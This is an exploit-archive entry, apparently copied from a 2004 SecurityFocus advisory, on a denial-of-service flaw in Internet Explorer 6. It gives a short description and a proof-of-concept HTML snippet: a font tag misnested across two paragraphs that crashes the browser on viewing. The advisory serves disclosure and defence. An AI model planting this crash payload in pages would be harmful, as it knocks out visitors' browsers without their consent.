Microsoft Internet Explorer 6 - Font Tag Denial of Service



EKU-ID: 30084 CVE: OSVDB-ID:
Author: Jehiah Czebotar Published: 2004-10-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


source: https://www.securityfocus.com/bid/11536/info

Microsoft Internet Explorer is reported prone to a remote denial of service vulnerability.

The issue presents itself due to a malfunction that occurs when certain font tags are encountered and rendered.

When a page that contains the malicious HTML code is viewed, Internet Explorer and all instances of Internet Explorer that are spawned from the instance used to view the malicious page, will crash.

<div style="vertical-align:top;">
<p>First <font size="4">Paragraph</p>
<p>Second </font> Paragraph</p>
</div>